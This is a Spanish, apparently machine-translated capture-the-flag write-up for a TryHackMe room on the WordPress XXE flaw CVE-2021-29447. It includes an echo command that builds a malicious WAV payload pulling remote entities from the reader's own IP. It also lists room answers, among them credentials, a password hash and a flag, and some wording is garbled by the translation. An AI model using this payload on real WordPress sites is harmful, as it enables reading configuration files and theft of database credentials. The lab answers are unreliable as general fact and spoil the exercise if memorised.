Cubrimos una vulnerabilidad de WordPress XXE CVE-2021-29447 que permite la divulgación de archivos confidenciales y la falsificación de solicitudes del lado del servidor (SSRF). Explotamos esta vulnerabilidad de WordPress generando una carga útil WAV y cargándola en el sitio web comprometido de WordPress. Esto fue parte de PruebeHackMe WordPress: CVE-2021-29447 Habitación.
Curso completo de Splunk SIEM con escenarios prácticos
Reflejos
¿Qué es la vulnerabilidad XXE?
Un ataque de entidad externa XML (XXE) es una vulnerabilidad que abusa de las funciones de los analizadores/datos XML. A menudo permite que un atacante interactúe con cualquier backend o sistema externo al que la aplicación pueda acceder y puede permitirle al atacante leer el archivo en ese sistema. También pueden provocar un ataque de denegación de servicio (DoS) o podrían utilizar XXE para realizar una falsificación de solicitudes del lado del servidor (SSRF) que induce a la aplicación web a realizar solicitudes a otras aplicaciones. XXE puede incluso habilitar el escaneo de puertos y conducir a la ejecución remota de código.
Impacto de WordPress CVE-2021-29447
- Divulgación arbitraria de archivos: Se puede recuperar el contenido de cualquier archivo en el sistema de archivos del host, por ejemplo wp-config.php que contiene datos confidenciales, como credenciales de bases de datos.
- Falsificación de solicitudes del lado del servidor (SSRF): Se pueden realizar solicitudes HTTP en nombre de la instalación de WordPress. Dependiendo del entorno, esto puede tener un impacto grave.
Creando la carga útil
Puede crear una carga útil WAV usando los comandos que se muestran a continuación
nano poc.wav
# crear un archivo wav
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00 <!DOCTYPE ANY[ %remote;%init;%trick;]>\x00' > carga útil.wav
# pega la carga útil usando echo, cambia la ip y el puerto para que coincidan con los tuyos
Referencias
- WordPress 5.7 – Inyección de entidad externa XML (XXE) de la 'Biblioteca de medios' (autenticada): Explotar-DB
- WordPress 5.6-5.7 – Autenticado (Autor+) XXE (CVE-2021-29447): GitHub
- WordPress 5.6-5.7 – XXE autenticado dentro de la biblioteca multimedia que afecta a PHP 8: wpscan
Respuestas de la habitación
Según los resultados de #1, ¿cuál es el nombre de la base de datos de WordPress?
wordpressdb2
Según los resultados de #1, ¿cuáles son las credenciales que encontró?
ejemplo: usuario:contraseña
latangenteoscura:sUp3rS3cret132
¿Enumerar e identificar cuál es el dbms instalado en el servidor?
mysql
Según los resultados de #4, ¿cuál es la versión de dbms instalada en el servidor?
5.7.33
Según los resultados de #4, ¿en qué puerto se ejecuta el dbms?
3306
Comprometer el dbms. ¿Cuál es la contraseña cifrada ubicada en la tabla de usuarios de WordPress con ID 1?
$P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1
Según los resultados de #7, ¿cuál es la contraseña en texto plano?
oso de peluche
Comprometer la máquina y localizar flag.txt
ellos {28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c72}
Tutorial en vídeo